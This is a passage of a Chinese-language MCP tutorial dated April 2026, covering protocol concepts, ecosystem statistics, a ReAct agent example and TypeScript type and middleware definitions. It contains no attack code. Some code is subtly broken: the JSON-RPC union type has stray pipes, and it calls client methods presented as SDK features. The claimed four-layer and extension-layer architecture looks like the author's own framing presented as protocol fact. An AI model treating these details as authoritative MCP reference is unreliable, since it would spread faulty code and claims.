Loading...
Loading...
---
title: MCP协议深度解析2026实战版
type: 原理
难度: ⭐⭐⭐
时长: 60分钟
前置: ["Agent基础", "LLM API调用", "TypeScript/JavaScript基础"]
实践: 代码实战为主
标签:
- MCP
- Model Context Protocol
- Agent
- 协议
- 工具调用
- 2026实战
- AI基础设施
创建日期: 2026-04-19
更新日期: 2026-04-19
文档版本: v1.1
---
# MCP协议深度解析2026实战版
## 一、协议概述
### 1.1 什么是MCP协议
MCP(Model Context Protocol,模型上下文协议)是由Anthropic于2024年11月正式发布的**开放标准协议**,旨在解决AI应用与外部数据源、工具之间的标准通信问题。MCP的出现标志着AI Agent生态系统基础设施标准化的重要里程碑,被业界称为"AI时代的USB协议"。
> **重要安全警告(2026年4月)**:据安全机构OX Security于2026年4月15日披露,MCP协议存在严重设计缺陷,可能导致远程代码执行(RCE)。受影响范围包括所有基于MCP SDK构建的项目(Python、TypeScript、Java、Rust)。详情请参见本文档第八章"安全考虑与漏洞防范"。
> **重大更新(2026年3月)**:Anthropic推出了全新的Streamable HTTP传输方案,效率提升300%,彻底取代了沿用多年的HTTP+SSE架构。
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP:AI时代的连接标准 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 传统软件时代 AI时代 │
│ │
│ USB协议 ──────────统一─────▶ 外设即插即用 │
│ │
│ MCP协议 ──────────统一─────▶ AI工具即插即用 │
│ │ │
│ ▼ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 数据库 │ │ 文件系统 │ │ API │ │ 云服务 │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ └──────────────┬──────────────┬──────────────┘ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ MCP Server生态 │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 任意AI应用 │ │
│ │ Claude / GPT / │ │
│ │ 开源模型 │ │
│ └─────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
### 1.2 MCP的核心设计理念
MCP的设计借鉴了现代软件工程的最佳实践,核心思想是**关注点分离**和**接口标准化**:
| 设计理念 | 说明 | 优势 |
|---------|------|------|
| **一次编写,多处运行** | 工具只需实现一次MCP接口 | 降低开发成本,提升复用性 |
| **声明式工具定义** | 通过JSON Schema自动描述工具能力 | AI模型可自动发现和理解工具 |
| **安全沙箱隔离** | 每个工具在独立环境中运行 | 权限边界清晰,安全性高 |
| **上下文完全隔离** | 工具之间的资源和状态完全独立 | 避免数据污染和状态耦合 |
| **双向实时通信** | 支持资源订阅和服务器推送 | 实时响应,无需轮询 |
### 1.3 MCP vs 其他方案对比
| 维度 | MCP | Function Calling | REST API封装 | WebDriver/协议 |
|------|-----|-----------------|-------------|----------------|
| **标准化程度** | 开放标准,厂商中立 | 各厂商私有实现 | 无标准,各自定义 | W3C标准 |
| **工具发现机制** | 自动发现,无需配置 | 手动注册函数 | 手动调用 | 需探索API |
| **连接模式** | 长期连接,双向通信 | 每次请求独立 | 无状态请求 | 长期会话 |
| **状态管理** | 支持有状态交互 | 无状态调用 | 无状态 | 有状态 |
| **资源订阅** | 支持实时推送 | 不支持 | 需轮询 | 支持事件 |
| **权限控制粒度** | 细粒度隔离 | 粗粒度 | 无标准 | 浏览器沙箱 |
| **生态成熟度** | 快速发展中 | 成熟稳定 | 成熟多样 | 成熟 |
### 1.4 2026年MCP生态现状
截至2026年4月,MCP生态已形成完整体系。根据MCP生态目录(mcpez.com)最新数据:
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 生态系统全景图(2026年4月) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ MCP服务器总数:11,790+ │
│ GitHub Stars:61,200+ │
│ SDK语言:13种 │
│ 社区规模:8,700+ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
主要生态数据:
| 类别 | 数据 | 说明 |
|------|------|------|
| MCP服务器总数 | 11,790+ | 涵盖数据库、Git、云服务等 |
| GitHub Stars | 61,200+ | 社区活跃度高 |
| SDK语言 | 13种 | TypeScript、Python、Java、Rust等 |
| 官方服务器 | 50+ | Anthropic官方维护 |
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 生态系统全景图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP 生态核心层 │ │
│ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │
│ │ │ 协议规范 │ │ SDK/框架 │ │ 开发工具 │ │ │
│ │ │ modelcontext │ │ TypeScript │ │ MCP Inspector│ │ │
│ │ │ protocol │ │ Python │ │ MCP DevTools │ │ │
│ │ │ (官方规范) │ │ Go/Rust/Java │ │ │ │ │
│ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Server 生态 │ │
│ │ │ │
│ │ 官方Server 社区Server 企业级Server │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │Filesystem│ │Jina Search│ │Salesforce│ │ │
│ │ │GitHub │ │Fetch URL │ │PostgreSQL│ │ │
│ │ │Slack │ │SQLite │ │Elastic │ │ │
│ │ │Sentry │ │Redis │ │Confluence│ │ │
│ │ └─────────┘ └─────────┘ └─────────┘ │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Host 应用层 │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │ Claude │ │Cursor AI│ │ Continue│ │ Cline │ │ │
│ │ │ Desktop │ │ │ │ (VSCode)│ │ (VSCode)│ │ │
│ │ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**关键数据(2026年4月):**
- MCP服务器总数:**11,790+**
- GitHub Stars:**61,200+**
- SDK语言:**13种**
- NPM下载量突破:**5000万次/月**
- 官方认证MCP Server:**200+**
- 支持MCP的主机应用:**50+款**
### 1.5 MCP与Skills/Agent/LLM四层架构
2026年,随着AI Agent技术的快速发展,MCP已经深度融入了以LLM为核心的AI应用分层架构之中。理解MCP在四层架构中的位置,对于掌握AI应用开发至关重要。
#### 四层架构全览
```
┌─────────────────────────────────────────────────────────────────────────┐
│ AI应用四层架构(2026年) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第一层:LLM(推理核心) │ │
│ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │
│ │ │ Claude 3.7 │ │ GPT-4.5 │ │ Gemini 2.0 │ │ │
│ │ │ Sonnet │ │ │ │ Ultra │ │ │
│ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 理解自然语言意图 │ │
│ │ - 生成文本响应 │ │
│ │ - 推理与规划 │ │
│ │ - Tool Calling(函数调用) │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第二层:Agent(感知-决策-执行循环) │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────────────────────────┐ │ │
│ │ │ │ │ │
│ │ │ 感知 ──▶ 决策 ──▶ 执行 ──▶ 反馈 ──▶ 感知(循环) │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ ▼ ▼ ▼ ▼ │ │ │
│ │ │ 用户输入 LLM推理 Tool调用 结果评估 │ │ │
│ │ │ │ │ │
│ │ └─────────────────────────────────────────────────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 维护执行状态和上下文 │ │
│ │ - 多步骤任务规划 │ │
│ │ - 处理Tool Calling响应 │ │
│ │ - 错误恢复与重试 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第三层:MCP(连接标准) │ │
│ │ │ │
│ │ ┌───────────────────┐ ┌───────────────────┐ │ │
│ │ │ MCP Host │◀──▶│ MCP Server │ │ │
│ │ │ (Agent端) │ │ (工具端) │ │ │
│ │ │ │ │ │ │ │
│ │ │ Client实例 │ │ 工具实现 │ │ │
│ │ │ 请求路由 │ │ 资源管理 │ │ │
│ │ │ 响应处理 │ │ 安全验证 │ │ │
│ │ └───────────────────┘ └───────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 提供标准化的工具调用接口 │ │
│ │ - 解耦Agent与具体工具实现 │ │
│ │ - 支持工具发现和动态扩展 │ │
│ │ - 提供统一的资源访问能力 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第四层:Skills(能力封装) │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Filesystem │ │ GitHub │ │ Database │ │ │
│ │ │ Skill │ │ Skill │ │ Skill │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Slack │ │ Search │ │ Custom │ │ │
│ │ │ Skill │ │ Skill │ │ Skill │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 封装特定能力的可安装模块 │ │
│ │ - 一键安装,即插即用 │ │
│ │ - 版本管理和依赖解析 │ │
│ │ - 跨平台能力复用 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
#### 四层之间的数据流动
```
┌─────────────────────────────────────────────────────────────────────────┐
│ 四层架构数据流动图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 用户提问:"帮我搜索GitHub上关于MCP的项目" │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第一层:LLM 接收用户输入,理解意图 │ │
│ │ │ │
│ │ 推理结果:需要调用GitHub搜索工具 │ │
│ │ 生成Tool Call请求:search_code { q: "MCP" } │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ Tool Call Request │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第二层:Agent 执行推理循环 │ │
│ │ │ │
│ │ - 解析Tool Call请求 │ │
│ │ - 通过MCP协议调用工具 │ │
│ │ - 收集执行结果 │ │
│ │ - 判断是否需要继续调用 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ MCP Protocol Request │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第三层:MCP 协议层路由请求 │ │
│ │ │ │
│ │ - 查找对应的MCP Server(github) │ │
│ │ - 通过stdio/HTTP转发请求 │ │
│ │ - 等待Server响应 │ │
│ │ - 返回格式化结果 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ Tool Execution │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第四层:Skills 执行具体工具逻辑 │ │
│ │ │ │
│ │ GitHub Skill: │ │
│ │ - 调用GitHub API │ │
│ │ - 搜索MCP相关仓库 │ │
│ │ - 返回搜索结果 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ Results │
│ ▼ │
│ 返回给用户:MCP相关项目列表 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
#### 层次职责对比
| 层次 | 核心组件 | 输入 | 输出 | 关键技术 |
|------|---------|------|------|---------|
| **LLM** | Claude/GPT/Gemini | 文本/用户意图 | 文本响应/Tool Calls | Transformer/Attention |
| **Agent** | ReAct/PlanExecute | Tool Call请求 | 执行状态/结果 | 状态机/Planning |
| **MCP** | Client/Server | Tool Call请求 | JSON-RPC响应 | JSON-RPC 2.0/传输层 |
| **Skills** | GitHub/FS/DB | API调用/参数 | 数据/操作结果 | REST/API/SDK |
#### Agent与MCP的协同工作模式
```typescript
/**
* Agent与MCP协同工作完整示例
*
* 这个示例展示了如何将MCP集成到一个ReAct Agent中
*/
import { Client } from '@modelcontextprotocol/sdk/client';
import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio';
/**
* 简化版ReAct Agent
* 展示四层架构的协同工作
*/
class SimpleReActAgent {
private llm: LLMClient;
private mcpClients: Map<string, Client> = new Map();
private maxIterations: number = 10;
private currentStep: number = 0;
constructor(llm: LLMClient) {
this.llm = llm;
}
/**
* 注册MCP Server
*/
async registerMCPServer(name: string, command: string, args: string[]) {
const transport = new StdioClientTransport({ command, args });
const client = new Client({ name, version: '1.0.0' }, {});
await client.connect(transport);
this.mcpClients.set(name, client);
console.log(`已注册MCP Server: ${name}`);
}
/**
* 执行ReAct循环
* 感知 -> 决策 -> 执行 -> 反馈
*/
async run(userQuery: string): Promise<string> {
let context = userQuery;
let finalResponse = '';
// ReAct主循环
while (this.currentStep < this.maxIterations) {
this.currentStep++;
console.log(`\n--- 第 ${this.currentStep} 步 ---`);
// ========== 第一层:LLM推理 ==========
const llmResponse = await this.llm.complete({
messages: [{ role: 'user', content: context }],
tools: this.getAvailableTools(),
});
// 解析LLM响应
if (!llmResponse.toolCalls || llmResponse.toolCalls.length === 0) {
// 无Tool Call,直接返回响应
finalResponse = llmResponse.text;
break;
}
// ========== 第二层:Agent决策 ==========
const toolCall = llmResponse.toolCalls[0];
console.log(`决策:调用工具 ${toolCall.name}`);
// ========== 第三层:MCP协议层 ==========
const serverName = this.findServerForTool(toolCall.name);
if (!serverName) {
throw new Error(`找不到工具 ${toolCall.name} 对应的MCP Server`);
}
const client = this.mcpClients.get(serverName);
// ========== 第四层:Skills执行 ==========
console.log(`执行:${serverName} -> ${toolCall.name}`);
const result = await client.request(
{ method: 'tools/call' },
{
name: toolCall.name,
arguments: toolCall.arguments,
}
);
// 构建反馈上下文
context = `上一步结果:${JSON.stringify(result)}\n请基于结果继续回答或执行下一步。`;
console.log(`结果:${result.content[0].text.substring(0, 100)}...`);
}
return finalResponse;
}
/**
* 获取所有可用工具
*/
private getAvailableTools() {
const tools: Tool[] = [];
for (const [serverName, client] of this.mcpClients) {
// 从MCP Server获取工具列表
const serverTools = client.getTools();
tools.push(...serverTools);
}
return tools;
}
/**
* 查找工具对应的Server
*/
private findServerForTool(toolName: string): string | undefined {
for (const [serverName, client] of this.mcpClients) {
if (client.hasTool(toolName)) {
return serverName;
}
}
return undefined;
}
}
/**
* 使用示例
*/
async function main() {
// 1. 创建Agent实例(第一层:LLM)
const agent = new SimpleReActAgent(new ClaudeClient());
// 2. 注册MCP Servers(第三层:MCP)
await agent.registerMCPServer(
'filesystem',
'npx',
['-y', '@modelcontextprotocol/server-filesystem', './']
);
await agent.registerMCPServer(
'github',
'npx',
['-y', '@modelcontextprotocol/server-github']
);
// 3. 执行查询
const result = await agent.run('请读取项目根目录的README.md文件');
console.log('最终响应:', result);
}
```
### 1.6 MCP核心架构三元体系
MCP的核心架构可以从三个维度来理解,我们称之为"三元体系":模型层、协议层和扩展层。这三个层次相互协作,共同支撑起MCP强大的扩展能力。
#### 三元体系全景
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP核心架构三元体系 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 模型层(Model) │ │
│ │ 数据处理逻辑的大脑 │ │
│ ├─────────────────────────────────────────────────────────────────┤ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │
│ │ │ 工具模型 │ │ 资源模型 │ │ 提示模型 │ │ │
│ │ │ Tool Model │ │ Resource Model │ │ Prompt Model │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ • name │ │ • uri │ │ • name │ │ │
│ │ │ • description │ │ • name │ │ • description │ │ │
│ │ │ • inputSchema│ │ • mimeType │ │ • arguments │ │ │
│ │ │ • examples │ │ • subscribable │ │ • messages │ │ │
│ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 定义工具/资源/提示的元数据结构 │ │
│ │ - 提供数据验证和类型安全 │ │
│ │ - 支持JSON Schema规范 │ │
│ │ - 生成AI可理解的描述文本 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 协议层(Protocol) │ │
│ │ MCP连接外部系统的桥梁 │ │
│ ├─────────────────────────────────────────────────────────────────┤ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │
│ │ │ JSON-RPC 2.0 │ │ 传输层 │ │ 能力协商 │ │ │
│ │ │ │ │ Transport │ │ Capability │ │ │
│ │ │ • 请求/响应 │ │ • stdio │ │ negotiation │ │ │
│ │ │ • 通知 │ │ • HTTP/SSE │ │ • roots │ │ │
│ │ │ • 批处理 │ │ • WebSocket │ │ • sampling │ │ │
│ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 定义消息格式和通信规范 │ │
│ │ - 管理连接生命周期 │ │
│ │ - 协商Client/Server能力 │ │
│ │ - 处理错误和异常 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 扩展层(Extensions) │ │
│ │ Skills、Hooks等扩展能力 │ │
│ ├─────────────────────────────────────────────────────────────────┤ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │
│ │ │ Skills │ │ Hooks │ │ Middleware │ │ │
│ │ │ (能力模块) │ │ (生命周期钩子) │ │ (中间件) │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ • 文件系统 │ │ • onToolCall │ │ • 认证 │ │ │
│ │ │ • GitHub │ │ • onResource │ │ • 日志 │ │ │
│ │ │ • 数据库 │ │ • onPrompt │ │ • 限流 │ │ │
│ │ │ • 云服务 │ │ • onError │ │ • 缓存 │ │ │
│ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 提供开箱即用的能力模块 │ │
│ │ │ - 扩展系统功能 │ │
│ │ │ - 支持自定义扩展 │ │
│ │ │ - 提供生命周期钩子 │ │
│ │ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
#### 模型层详解
模型层定义了MCP中所有核心实体的数据结构,是整个协议的基础。
```typescript
/**
* MCP 模型层核心类型定义
*/
/**
* 工具模型(Tool Model)
* 定义了MCP工具的结构化描述
*/
interface ToolModel {
/** 工具唯一标识符 */
name: string;
/** 人类可读的描述文本
* AI模型会使用此描述来理解工具的用途和使用场景
* 建议描述:
* - 工具的功能概述
* - 输入参数的具体含义
* - 返回结果的格式和含义
* - 使用注意事项
*/
description: string;
/** 输入参数JSON Schema
* 使用JSON Schema规范定义参数类型
* AI会自动解析schema来理解参数约束
*/
inputSchema: ToolInputSchema;
/** 元数据(可选)
* 提供额外的工具信息
*/
metadata?: {
/** 工具分类 */
category?: string;
/** 标签列表 */
tags?: string[];
/** 示例输入输出对 */
examples?: Array<{
description: string;
input: Record<string, unknown>;
output: unknown;
}>;
/** 废弃标记 */
deprecated?: boolean;
/** 替代工具名称 */
replacement?: string;
/** 稳定性标记 */
stability?: 'stable' | 'beta' | 'experimental';
};
}
/**
* 工具输入模式
* JSON Schema的一个子集
*/
interface ToolInputSchema {
type: 'object';
/** 属性定义 */
properties: Record<string, PropertySchema>;
/** 必需属性列表 */
required?: string[];
/** 是否允许额外属性 */
additionalProperties?: boolean;
}
/**
* 属性模式定义
*/
interface PropertySchema {
/** 属性类型 */
type: 'string' | 'number' | 'boolean' | 'object' | 'array' | 'null';
/** 属性描述 */
description?: string;
/** 默认值 */
default?: unknown;
/** 枚举值列表 */
enum?: unknown[];
/** 格式校验 */
format?: string;
/** 最小值(number类型) */
minimum?: number;
/** 最大值(number类型) */
maximum?: number;
/** 最小长度(string类型) */
minLength?: number;
/** 最大长度(string类型) */
maxLength?: number;
/** 正则表达式(string类型) */
pattern?: string;
/** 数组项类型(array类型) */
items?: PropertySchema;
}
/**
* 资源模型(Resource Model)
* 定义了MCP资源的结构化描述
*/
interface ResourceModel {
/** 资源URI
* 唯一标识符,格式遵循RFC 3986
* 示例:file:///path/to/file 或 db://table/users
*/
uri: string;
/** 资源名称 */
name: string;
/** 资源描述 */
description?: string;
/** MIME类型 */
mimeType: string;
/** 可变资源标记
* 如果为true,客户端应定期检查更新
*/
mutable?: boolean;
/** 可订阅资源标记
* 如果为true,支持资源变更通知
*/
subscribable?: boolean;
}
/**
* 提示模板模型(Prompt Model)
* 定义了MCP提示模板的结构
*/
interface PromptModel {
/** 模板唯一标识符 */
name: string;
/** 模板描述 */
description: string;
/** 模板参数定义 */
arguments?: Array<{
/** 参数名称 */
name: string;
/** 参数描述 */
description?: string;
/** 是否必需 */
required: boolean;
/** 参数类型 */
type?: string;
}>;
}
/**
* 采样请求模型(Sampling Model)
* 用于Server主动请求LLM生成内容
*/
interface SamplingRequestModel {
/** 发送给LLM的消息列表 */
messages: Array<{
role: 'user' | 'assistant';
content: Array<{
type: 'text' | 'image';
text?: string;
data?: string; // Base64编码
mimeType?: string;
}>;
}>;
/** 系统提示(可选) */
systemPrompt?: string;
/** 采样参数 */
samplingParams?: {
/** 模型选择 */
model?: string;
/** 温度参数 */
temperature?: number;
/** 最大token数 */
maxTokens?: number;
/** 停止序列 */
stopSequences?: string[];
};
}
```
#### 协议层详解
协议层是MCP的通信核心,基于JSON-RPC 2.0标准,支持多种传输方式。
```typescript
/**
* MCP 协议层核心类型定义
*/
/**
* JSON-RPC 2.0 消息基类
*/
type JSONRPCMessage =
| JSONRPCRequest |
| JSONRPCResponse |
| JSONRPCNotification;
/**
* JSON-RPC 2.0 请求消息
*/
interface JSONRPCRequest {
/** JSON-RPC版本号 */
jsonrpc: '2.0';
/** 请求ID,用于匹配响应 */
id: string | number;
/** 方法名 */
method: string;
/** 请求参数 */
params?: Record<string, unknown>;
}
/**
* JSON-RPC 2.0 响应消息
*/
interface JSONRPCResponse {
/** JSON-RPC版本号 */
jsonrpc: '2.0';
/** 请求ID */
id: string | number;
/** 响应结果(成功时) */
result?: unknown;
/** 错误信息(失败时) */
error?: JSONRPCError;
}
/**
* JSON-RPC 2.0 通知消息(无响应)
*/
interface JSONRPCNotification {
/** JSON-RPC版本号 */
jsonrpc: '2.0';
/** 方法名 */
method: string;
/** 参数 */
params?: Record<string, unknown>;
}
/**
* JSON-RPC 2.0 错误对象
*/
interface JSONRPCError {
/** 错误码 */
code: number;
/** 错误消息 */
message: string;
/** 错误详情(可选) */
data?: unknown;
}
/**
* MCP 核心方法定义
*/
namespace MCPMethods {
// ========== 初始化相关 ==========
/** 初始化连接(请求) */
const initialize = 'initialize';
/** 初始化完成(通知) */
const initialized = 'initialized';
// ========== 工具相关 ==========
/** 列出所有工具 */
const toolsList = 'tools/list';
/** 调用工具 */
const toolsCall = 'tools/call';
// ========== 资源相关 ==========
/** 列出所有资源 */
const resourcesList = 'resources/list';
/** 读取资源 */
const resourcesRead = 'resources/read';
/** 订阅资源变更 */
const resourcesSubscribe = 'resources/subscribe';
/** 取消订阅 */
const resourcesUnsubscribe = 'resources/unsubscribe';
// ========== 提示模板相关 ==========
/** 列出所有提示模板 */
const promptsList = 'prompts/list';
/** 获取提示模板 */
const promptsGet = 'prompts/get';
// ========== 采样相关 ==========
/** 创建采样消息 */
const samplingCreateMessage = 'sampling/createMessage';
// ========== 根目录相关 ==========
/** 列出根目录 */
const rootsList = 'roots/list';
// ========== 通用 ==========
/** 心跳检测 */
const ping = 'ping';
}
/**
* 能力协商(Capability Negotiation)
* 初始化阶段,Client和Server交换各自的能力
*/
interface ClientCapabilities {
/** 根目录相关能力 */
roots?: {
/** 根目录列表变更时通知 */
listChanged: boolean;
};
/** 采样相关能力 */
sampling?: Record<string, never>;
}
interface ServerCapabilities {
/** 工具相关能力 */
tools?: {
/** 工具列表变更时通知 */
listChanged: boolean;
};
/** 资源相关能力 */
resources?: {
/** 资源列表变更时通知 */
listChanged: boolean;
/** 资源订阅支持 */
subscribe: boolean;
};
/** 提示模板相关能力 */
prompts?: {
/** 提示列表变更时通知 */
listChanged: boolean;
};
/** 采样相关能力 */
sampling?: Record<string, never>;
}
/**
* 初始化请求参数
*/
interface InitializeParams {
/** 协议版本 */
protocolVersion: string;
/** 客户端能力 */
capabilities: ClientCapabilities;
/** 客户端信息 */
clientInfo: {
name: string;
version: string;
};
}
/**
* 初始化响应结果
*/
interface InitializeResult {
/** 服务器支持的协议版本 */
protocolVersion: string;
/** 服务器能力 */
capabilities: ServerCapabilities;
/** 服务器信息 */
serverInfo: {
name: string;
version: string;
};
/** 指令(可选) */
instructions?: string;
}
```
#### 扩展层详解
扩展层是MCP生态系统的最外层,提供Skills(能力模块)、Hooks(生命周期钩子)和Middleware(中间件)等扩展机制。
```typescript
/**
* MCP 扩展层核心类型定义
*/
/**
* Skill 定义
* 一个Skill是一个可独立安装的能力包
*/
interface Skill {
/** Skill唯一标识符 */
id: string;
/** Skill名称 */
name: string;
/** 版本号(语义化版本) */
version: string;
/** Skill描述 */
description: string;
/** 作者信息 */
author?: {
name: string;
email?: string;
url?: string;
};
/** 依赖的MCP Servers */
dependencies: string[];
/** Skill提供的工具 */
tools: ToolModel[];
/** Skill提供的资源 */
resources?: ResourceModel[];
/** Skill提供的提示模板 */
prompts?: PromptModel[];
/** 安装配置 */
installConfig?: {
/** 必需的环境变量 */
requiredEnvVars: string[];
/** 可选的环境变量 */
optionalEnvVars?: string[];
/** 安装钩子脚本 */
installScript?: string;
/** 验证脚本 */
verifyScript?: string;
};
/** 元数据 */
metadata?: {
/** 许可证 */
license?: string;
/** 仓库地址 */
repository?: string;
/** 标签 */
tags: string[];
/** 评分 */
rating?: number;
/** 下载量 */
downloads?: number;
};
}
/**
* Hook 定义
* 生命周期钩子,允许在关键节点插入自定义逻辑
*/
interface Hook {
/** 钩子名称 */
name: string;
/** 钩子描述 */
description: string;
/** 触发时机 */
trigger: HookTrigger;
/** 钩子处理器 */
handler: HookHandler;
}
/**
* 钩子触发时机
*/
type HookTrigger =
/** 工具调用前 */
| 'onToolCall'
/** 工具调用后 */
| 'onToolCallResult'
/** 资源读取前 */
| 'onResourceRead'
/** 资源订阅时 */
| 'onResourceSubscribe'
/** 提示获取前 */
| 'onPrompt'
/** 采样请求前 */
| 'onSampling'
/** 错误发生时 */
| 'onError'
/** 连接建立时 */
| 'onConnect'
/** 连接断开时 */
| 'onDisconnect';
/**
* 钩子处理器类型
*/
type HookHandler = (
context: HookContext,
...args: unknown[]
) => Promise<HookResult> | HookResult;
/**
* 钩子上下文
*/
interface HookContext {
/** 请求ID */
requestId: string;
/** 触发时间戳 */
timestamp: number;
/** 相关的MCP Server */
serverName?: string;
/** 相关的工具名称 */
toolName?: string;
/** 相关的资源URI */
resourceUri?: string;
/** 附加数据 */
metadata?: Record<string, unknown>;
}
/**
* 钩子执行结果
*/
interface HookResult {
/** 是否继续执行 */
proceed: boolean;
/** 如果proceed为false,返回的错误信息 */
error?: {
code: string;
message: string;
details?: unknown;
};
/** 修改后的返回值(可选) */
modifiedResult?: unknown;
}
/**
* Middleware 中间件定义
* 可以在请求/响应链中拦截和处理数据
*/
interface Middleware {
/** 中间件名称 */
name: string;
/** 中间件描述 */
description: string;
/** 执行顺序(数字越小越先执行) */
order: number;
/** 请求拦截器 */
onRequest?: (
request: JSONRPCRequest,
context: MiddlewareContext
) => Promise<JSONRPCRequest>;
/** 响应拦截器 */
onResponse?: (
response: JSONRPCResponse,
context: MiddlewareContext
) => Promise<JSONRPCResponse>;
/** 错误拦截器 */
onError?: (
error: JSONRPCError,
context: MiddlewareContext
) => Promise<JSONRPCError>;
}
/**
* 中间件上下文
*/
interface MiddlewareContext {
/** 客户端实例 */
client: Client;
/** 目标服务器名称 */
serverName: string;
/** 请求开始时间 */
startTime: number;
/** 请求计数器 */
requestCount: number;
/** 认证信息 */
auth?: AuthInfo;
}
/**
* 常用内置中间件
*/
const BuiltinMiddleware = {
/**
* 认证中间件
* 验证请求中的认证令牌
*/
auth: (validator: AuthValidator): Middleware => ({
name: 'auth',
description: '请求认证中间件',
order: 1,
onRequest: async (request, context) => {
const token = context.auth?.token;
if (!token) {
throw new Error('未提供认证令牌');
}
const isValid = await validator(token);
if (!isValid) {
throw new Error('认证令牌无效');
}
return request;
},
}),
/**
* 日志中间件
* 记录所有请求和响应
*/
logger: (logger: Logger): Middleware => ({
name: 'logger',
description: '日志记录中间件',
order: 999,
onRequest: async (request, context) => {
logger.logRequest(request, context);
return request;
},
onResponse: async (response, context) => {
logger.logResponse(response, context);
return response;
},
}),
/**
* 限流中间件
* 控制请求频率
*/
rateLimit: (config: RateLimitConfig): Middleware => ({
name: 'rateLimit',
description: '请求限流中间件',
order: 2,
onRequest: async (_, context) => {
const key = context.auth?.token || 'anonymous';
const count = await config.store.increment(key);
if (count > config.maxRequests) {
throw new Error(`请求过于频繁,请稍后再试`);
}
return _;
},
}),
/**
* 缓存中间件
* 缓存响应结果
*/
cache: (config: CacheConfig): Middleware => ({
name: 'cache',
description: '响应缓存中间件',
order: 998,
onRequest: async (request, context) => {
if (config.cacheableMethods.includes(request.method)) {
const cached = await config.store.get(buildCacheKey(request));
if (cached) {
